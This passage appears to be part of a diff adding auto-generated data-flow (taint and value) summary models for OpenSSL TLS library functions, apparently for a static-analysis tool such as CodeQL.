uint16_t **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_supported_groups", "(SSL_CONNECTION *,const uint16_t **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls1_group_id2name", "(SSL_CTX *,uint16_t)", "", "Argument[*0].Field[**group_list].Field[**tlsname]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "tls1_group_id2name", "(SSL_CTX *,uint16_t)", "", "Argument[*0].Field[**group_list].Field[*tlsname]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "tls1_group_id2nid", "(uint16_t,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls1_group_id_lookup", "(SSL_CTX *,uint16_t)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "tls1_group_id_lookup", "(SSL_CTX *,uint16_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "tls1_initialise_write_packets", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[*1].Field[*type]", "Argument[*5].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "tls1_initialise_write_packets", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[*1].Field[*version]", "Argument[*3].Field[*version]", "value", "dfc-generated"] + - ["", "", True, "tls1_initialise_write_packets", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "tls1_initialise_write_packets", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "tls1_initialise_write_packets", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "tls1_lookup_md", "(SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **)", "", "Argument[*0].Field[**ssl_digest_methods]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "tls1_lookup_md", "(SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **)", "", "Argument[*0].Field[*ssl_digest_methods]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "tls1_lookup_md", "(SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **)", "", "Argument[*1].Field[*hash_idx]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tls1_save_u16", "(PACKET *,uint16_t **,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t)", "", "Argument[7]", "Argument[**4]", "value", "dfc-generated"] + - ["", "", True, "tls1_set_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t)", "", "Argument[7]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "tls1_set_groups_list", "(SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_groups_list", "(SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_groups_list", "(SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_raw_sigalgs", "(CERT *,const uint16_t *,size_t,int)", "", "Argument[*1]", "Argument[*0].Field[**client_sigalgs]", "value", "dfc-generated"] + - ["", "", True, "tls1_set_raw_sigalgs", "(CERT *,const uint16_t *,size_t,int)", "", "Argument[*1]", "Argument[*0].Field[**conf_sigalgs]", "value", "dfc-generated"] + - ["", "", True, "tls1_set_raw_sigalgs", "(CERT *,const uint16_t *,size_t,int)", "", "Argument[1]", "Argument[*0].Field[**client_sigalgs]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_raw_sigalgs", "(CERT *,const uint16_t *,size_t,int)", "", "Argument[1]", "Argument[*0].Field[**conf_sigalgs]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_raw_sigalgs", "(CERT *,const uint16_t *,size_t,int)", "", "Argument[2]", "Argument[*0].Field[*client_sigalgslen]", "value", "dfc-generated"] + - ["", "", True, "tls1_set_raw_sigalgs", "(CERT *,const uint16_t *,size_t,int)", "", "Argument[2]", "Argument[*0].Field[*conf_sigalgslen]", "value", "dfc-generated"] + - ["", "", True, "tls1_set_sigalgs", "(CERT *,const int *,size_t,int)", "", "Argument[2]", "Argument[*0].Field[*client_sigalgslen]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_sigalgs", "(CERT *,const int *,size_t,int)", "", "Argument[2]", "Argument[*0].Field[*conf_sigalgslen]", "taint", "dfc-generated"] + - ["", "", True, "tls1_shared_group", "(SSL_CONNECTION *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "tls_allocate_write_buffers_default", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)", "", "Argument[2]", "Argument[*0].Field[*numwpipes]", "value", "dfc-generated"] + - ["", "", True, "tls_app_data_pending", "(OSSL_RECORD_LAYER *)", "", "Argument[*0].Field[*rrec].Field[*length]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_close_construct_packet", "(SSL_CONNECTION *,WPACKET *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_collect_extensions", "(SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_construct_certificate_request", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_client_certificate", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_client_hello", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_alpn", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_client_cert_type", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_cookie", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_ec_pt_formats", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_psk", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_renegotiate", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_server_cert_type", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_new_session_ticket", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_next_proto", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_server_hello", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_stoc_alpn", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_stoc_ec_pt_formats", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_stoc_renegotiate", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_decrypt_ticket", "(SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **)", "", "Argument[*3]", "Argument[**5].Field[*session_id]", "value", "dfc-generated"] + - ["", "", True, "tls_decrypt_ticket", "(SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **)", "", "Argument[3]", "Argument[**5].Field[*session_id]", "taint", "dfc-generated"] + - ["", "", True, "tls_decrypt_ticket", "(SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **)", "", "Argument[4]", "Argument[**5].Field[*session_id_length]", "value", "dfc-generated"] + - ["", "", True, "tls_default_post_process_record", "(OSSL_RECORD_LAYER *,TLS_RL_RECORD *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_default_read_n", "(OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *)", "", "Argument[1]", "Argument[*0].Field[*packet_length]", "taint", "dfc-generated"] + - ["", "", True, "tls_default_read_n", "(OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *)", "", "Argument[1]", "Argument[*5]", "value", "dfc-generated"] + - ["", "", True, "tls_do_compress", "(OSSL_RECORD_LAYER *,TLS_RL_RECORD *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_do_uncompress", "(OSSL_RECORD_LAYER *,TLS_RL_RECORD *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_get_alert_code", "(OSSL_RECORD_LAYER *)", "", "Argument[*0].Field[*alert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "tls_get_compression", "(OSSL_RECORD_LAYER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "tls_get_compression", "(OSSL_RECORD_LAYER *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "tls_get_max_records_default", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[*4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_default", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_default", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_default", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_multiblock", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[*4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_multiblock", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_multiblock", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_multiblock", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_get_message_body", "(SSL_CONNECTION *,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_get_message_header", "(SSL_CONNECTION *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_get_peer_pkey", "(const SSL_CONNECTION *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "tls_get_peer_pkey", "(const SSL_CONNECTION *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "tls_get_ticket_from_client", "(SSL_CONNECTION *,CLIENTHELLO_MSG *,SSL_SESSION **)", "", "Argument[*1].Field[*session_id]", "Argument[**2].Field[*session_id]", "value", "dfc-generated"] + - ["", "", True, "tls_get_ticket_from_client", "(SSL_CONNECTION *,CLIENTHELLO_MSG *,SSL_SESSION **)", "", "Argument[*1].Field[*session_id_len]", "Argument[**2].Field[*session_id_length]", "value", "dfc-generated"] + - ["", "", True, "tls_initialise_write_packets_default", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[*1].Field[*type]", "Argument[*5].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "tls_initialise_write_packets_default", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "tls_initialise_write_packets_default", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[**16]", "Argument[**17].Field[***cbarg]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[*0]", "Argument[**17].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[*16]", "Argument[**17].Field[**cbarg]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[*1]", "Argument[**17].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[*8]", "Argument[**17].Field[**md]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[0]", "Argument[**17].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[10]", "Argument[**17].Field[*prev]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[11]", "Argument[**17].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[12]", "Argument[**17].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[13]", "Argument[*13]", "taint", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[14]", "Argument[*14]", "taint", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[15]", "Argument[*15]", "taint", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[16]", "Argument[**17].Field[*cbarg]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[1]", "Argument[**17].Field[*propq]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[2]", "Argument[**17].Field[*version]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[3]", "Argument[**17].Field[*role]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[4]", "Argument[**17].Field[*direction]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[5]", "Argument[**17].Field[*level]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[7]", "Argument[**17].Field[*taglen]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[8]", "Argument[**17].Field[*md]", "value", "dfc-generated"] + - ["", "", True, "tls_parse_all_extensions", "(SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls_parse_ctos_alpn", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_client_cert_type", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_cookie", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_ec_pt_formats", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_key_share", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_psk", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_psk_kex_modes", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_server_cert_type", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_server_name", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_sig_algs", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_sig_algs_cert", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_srp", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_status_request", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_supported_groups", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_extension", "(SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "tls_parse_extension", "(SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t)", "", "Argument[3]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "tls_parse_stoc_alpn", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_parse_stoc_client_cert_type", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_parse_stoc_cookie", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_stoc_ec_pt_formats", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_stoc_key_share", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_stoc_npn", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_stoc_renegotiate", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_parse_stoc_sct", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_parse_stoc_server_cert_type", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_parse_stoc_supported_versions", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_post_encryption_processing_default", "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "tls_post_encryption_processing_default", "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "tls_post_encryption_processing_default", "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)", "", "Argument[1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "tls_prepare_for_encryption_default", "(OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *)", "", "Argument[*3].Field[**data]", "Argument[*3].Field[**input]", "value", "dfc-generated"] + - ["", "", True, "tls_prepare_for_encryption_default", "(OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *)", "", "Argument[*3].Field[*data]", "Argument[*3].Field[*input]", "value", "dfc-generated"] + - ["", "", True, "tls_prepare_record_header_default", "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)", "", "Argument[*4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "tls_prepare_record_header_default", "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "tls_prepare_record_header_default", "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_certificate_request", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", 